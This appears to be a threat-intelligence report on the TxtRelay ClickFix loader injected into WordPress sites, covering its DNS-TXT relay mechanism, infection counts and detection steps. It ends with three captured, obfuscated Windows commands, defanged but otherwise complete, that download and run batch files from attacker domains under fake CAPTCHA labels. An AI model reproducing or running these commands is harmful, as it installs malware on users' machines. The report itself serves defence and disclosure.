TxtRelay ClickFix kit

DNS controls the next script

TxtRelay is an injected loader that uses a DNS TXT record as remote configuration. It sends an HTTPS request to Cloudflare's JSON DNS service with type=TXT and an Accept: application/dns-json header. The browser makes this request directly; the operating system's DNS resolver is not involved.

The loader parses the JSON response, takes Answer[0].data, then parses that value again to remove the TXT record's JSON quoting. It prefixes https://, assigns the result to a new script element and appends that element to the page head.

infected page
  -> query one DNS TXT name over HTTPS
  -> parse the first answer twice
  -> add https:// to the returned value
  -> append a script using that address

Changing the TXT record redirects every infected page using that name while their injected code stays untouched.

The builds keep the same relay

Public captures from 2 to 4 October preserve an inline build, a whitespace-stripped copy and another build appended to a first-party copy of Elementor's frontend-modules.min.js. The builds use different variable names and string-table order. They keep the same DNS request, double JSON parse, https:// prefix and script insertion.

Recent production captures keep the loader inline in the document. Its string table exposes the DNS request and TXT name only after the surrounding indexes are resolved.

What we see

Month	New sites
September	0
October	217
November so far	90

97% of TxtRelay sites captured since 25 September run WordPress. 305 sites also carry LenAI.

Checking a WordPress site

Search the logged-out HTML, plugin JavaScript and cached copies for:

• cloudflare-dns.com/dns-query?name= beside &type=TXT
• an application/dns-json accept value
• two JSON parses around the first Answer item's data field
• a new script whose source is https:// plus the decoded TXT value
• unfamiliar code appended to frontend-modules.min.js

Remove the injection and compare the changed plugin file with a trusted copy. Purge WordPress, server and CDN caches, then confirm the page no longer makes its own DNS-over-HTTPS request.

forfiles /p %windir% /m system.ini /c "cmd /c bitsa^dmin /transfer 9d3e /download /priority foreground hxxps://ktoktotam[.]cc/h/c/f8a4af060d295ec7 "%TEMP%\c169e7.bat" & ping -n 2 127.0.0.1 >nul & call "%TEMP%\c169e7.bat" & rem reCaptcha ID: 602235"

CMd /c "(ECHo cd /d %~dp0&ECHo Copy /y /b %wINDiR%\sYstem32\cu?l.exe w.exe&ECHo .\w.exe -sLof.cmd hxxps://herosdvakit[.]org/h/c/088dd5ec06b31645&ECHo .\f.cmd&ECHo DEl f.cmd w.exe)>%PuBLic%\f.cmd& pCALUA -a %PuBLic%\f.cmd&rEM hCAPTCHA verification: 981180"

Cmd /c "(ecHO cd /d "%~dp0"&ecHO cOPY /b /y %WiNDIR%\SYStEM32\c*rl.exe u.exe&ecHO .\u.exe -sLod.cmd hxxps://japlukarmore[.]org/h/c/7697128f9e8bce0e&ecHO .\d.cmd&ecHO del d.cmd u.exe)>%pUblIC%\t.cmd& pcAlUa -a %pUblIC%\t.cmd&ReM reCaptcha ID: 493804"